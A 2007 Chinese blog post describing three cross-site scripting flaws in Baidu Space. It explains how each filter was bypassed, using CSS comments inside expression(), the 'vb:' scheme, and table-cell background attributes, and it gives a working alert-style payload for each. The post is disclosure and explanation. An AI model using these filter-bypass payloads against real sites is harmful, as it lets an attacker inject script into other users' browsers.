• 2007-02-23

    百度空间07年三个跨站漏洞 - [呜呜噎噎]

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://siyidao.52blog.net/logs/2287449.html

    一、

    # discover by Monyer


    漏洞成因:百度虽然对于插入的html标签的属性进行过滤,包括style(层叠样式表),但是并没有对混淆在样式中的注释部分进行位置检查。造成可以通过在expression中插入注释,譬如:expr/*XSS*/ession,并以此方式绕过百度的过滤系统。但是由于在IE运行时会忽略掉注释内容,使得XSS代码得以正常运行,跨站即产生

    示例:<img STYLE="xss:expr/*XSS*/ession(alert(&quot;XSS&quot;))">
    <div STYLE="xss:expr/*XSS*/ession(this.innerHTML=&quot;<h1> monyer</h1>&quot;)"></div>

    ---------------------------------------------------------------------------------------------------------------------------------------------
    二、

    # discover by Monyer

    漏洞成因:虽然百度空间费劲心思过滤了java,过滤了expression,过滤了等等的一些触发事件。可是它忽略了过滤vb,因此造成了一个非常严重的跨站漏洞的出现

    示例:<img src="vb:msgbox(&quot;xss&quot;)" />
    <img src="vb:msgbox()" />

    ---------------------------------------------------------------------------------------------------------------------------------------------
    三、

    # discover by Monyer


    漏洞成因:我们知道对于backgroud样式属性是需要嵌套url才能引用XSS代码的,如果直接把代码写进backgroud是不能运行的,因为缺少了一个触发机制。而table标签会自动加载内部内容——相当与eval。(如果你上一个比较慢的空间,并且整个空间只有一个table,那么你会发现直到整个table数据全部下载到本地才能显示网页内容,原因即是如此)

    示例:<table><tr><td background="java:alert(/xss/)"></tr></table>

    <table >
    <tr >
    <td background="java:TheId.innerHTML=%22&lt;embed src=\'URL\' height width &gt;%22" >sth or noting</td >
    </tr >
    </table >

    随机文章:

    胖了 2007-08-18
    SQL注入 2007-02-23

    收藏到:Del.icio.us




发表评论

您将收到博主的回复邮件
记住我